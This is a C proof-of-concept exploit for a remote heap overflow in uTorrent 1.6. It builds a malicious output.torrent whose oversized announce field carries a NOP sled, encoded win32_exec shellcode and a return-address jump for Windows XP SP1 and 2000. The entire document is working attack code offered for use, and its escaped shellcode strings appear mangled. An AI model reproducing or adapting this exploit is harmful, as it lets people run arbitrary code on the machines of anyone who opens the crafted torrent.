uTorrent 1.6 Remote Heap Overflow Exploit PoC

/*  * This is a PoC remote exploit for uTorrent 1.6  *  * Author:   * defsec <defacedsecurity@hotmail.com>  * http://www.defacedsecurity.com  *   *  * Works on XP SP1 and  w2k sp1-4  * */ #include <stdio.h> #include <stdlib.h> #define NASIZE 4880 unsigned char nice_announce[NASIZE]; unsigned char xorops[]=\\\"x33xc0x33xdb\\\"; // win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum // Restricted Character 0x00 unsigned char shellcode[]= \\\"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49\\\" \\\"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36\\\" \\\"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34\\\" \\\"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41\\\" \\\"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34\\\" \\\"x42x50x42x50x42x30x4bx38x45x34x4ex43x4bx48x4ex47\\\" \\\"x45x30x4ax37x41x30x4fx4ex4bx38x4fx34x4ax51x4bx48\\\" \\\"x4fx55x42x42x41x30x4bx4ex49x44x4bx58x46x43x4bx58\\\" \\\"x41x50x50x4ex41x33x42x4cx49x59x4ex4ax46x48x42x4c\\\" \\\"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e\\\" \\\"x46x4fx4bx43x46x45x46x42x46x50x45x37x45x4ex4bx38\\\" \\\"x4fx45x46x42x41x50x4bx4ex48x36x4bx58x4ex30x4bx54\\\" \\\"x4bx38x4fx35x4ex51x41x50x4bx4ex4bx48x4ex41x4bx48\\\" \\\"x41x50x4bx4ex49x48x4ex45x46x42x46x50x43x4cx41x53\\\" \\\"x42x4cx46x36x4bx58x42x54x42x53x45x48x42x4cx4ax37\\\" \\\"x4ex30x4bx48x42x34x4ex50x4bx58x42x57x4ex51x4dx4a\\\" \\\"x4bx48x4ax46x4ax50x4bx4ex49x50x4bx38x42x58x42x4b\\\" \\\"x42x30x42x50x42x30x4bx38x4ax56x4ex43x4fx35x41x53\\\" \\\"x48x4fx42x56x48x45x49x38x4ax4fx43x48x42x4cx4bx37\\\" \\\"x42x35x4ax36x50x47x4ax4dx44x4ex43x47x4ax36x4ax49\\\" \\\"x50x4fx4cx48x50x50x47x55x4fx4fx47x4ex43x46x41x46\\\" \\\"x4ex46x43x46x42x30x5a\\\"; //msvcrt.dll pop,pop,ret addr all xp sp1 exchange it with 0x7801D07B for win2k sp3/sp4 unsigned char jmptosc[] = \\\"xebx04 xa7x2cxc2x77 x33xc0xb0x11xc1xe0x08x5bx5bx5bx2bxd8xffxe3\\\"; int main(int argc,char *argv[]) { FILE * pFile; long lSize; char * buffer; size_t result; long i = 0; long j = 0; long lPtrIndex; long lHeadSize; long lTailSize; char * curptr; char * alptr; char * torrentTail; if (argc < 2) { printf(\\\" [uTorrent 1.6] Heap Overflow Exploit - by [DEFACEDSECURITY]\\\"); printf(\\\" Usage: \\\"); printf(\\\"%s\\\",argv[0]); printf(\\\" <TorrentFile> \\\"); return 0; } pFile = fopen (argv[1],\\\"rb\\\"); if (pFile==NULL)  { fputs (\\\"File error\\\",stderr);  return 0; } // obtain file size: fseek (pFile ,0,SEEK_END); lSize = ftell (pFile); rewind (pFile); // allocate memory to contain the whole file: buffer = (char*) malloc (sizeof(char)*lSize); if (buffer == NULL)  { fputs (\\\"Memory error\\\",stderr);  return 0; } // copy the file into the buffer: result = fread (buffer,1,lSize,pFile); if (result != lSize)  { fputs (\\\"Reading error\\\",stderr);  return 0; } fclose (pFile); /* find announce / announce-list and erase it */ alptr = (char *) strstr(buffer,\\\"announce\\\"); if (alptr == NULL) { printf(\\\" invalid torrent file\\\"); return 0; } curptr = (char *) strstr(alptr, \\\"7:comment\\\"); lHeadSize = curptr - buffer ; lTailSize = lSize - lHeadSize; torrentTail = (char *) malloc (sizeof(char)*lTailSize); memcpy(torrentTail,curptr,lTailSize); /* generate offending header */ strcpy(nice_announce,\\\"d8:announce4864:\\\"); for (lPtrIndex = 16; lPtrIndex <= 4864+16; lPtrIndex++) nice_announce[lPtrIndex] = 0x90; lPtrIndex = 84; memcpy(nice_announce + lPtrIndex ,xorops,sizeof(xorops)-1); lPtrIndex += sizeof(xorops) -1; memcpy(nice_announce+lPtrIndex,shellcode, sizeof(shellcode)-1); for (lPtrIndex = 4438; lPtrIndex<4458; lPtrIndex++,i++) nice_announce[lPtrIndex] = jmptosc[i]; /* get head and tail together into a file */ curptr = (char *) malloc(sizeof(char)*(NASIZE+lTailSize)); for (i=0;i<NASIZE;i++) curptr[i] = nice_announce[i]; for (;i<(NASIZE+lTailSize);i++,j++) curptr[i] = torrentTail[j]; /* write to file and exit */ pFile = fopen ( \\\"output.torrent\\\" , \\\"wb\\\" ); if (pFile==NULL)  { fputs (\\\"File error\\\",stderr);  return 0; } fwrite(curptr, sizeof(char), (NASIZE+lTailSize), pFile); fclose (pFile); return 1337; //:) }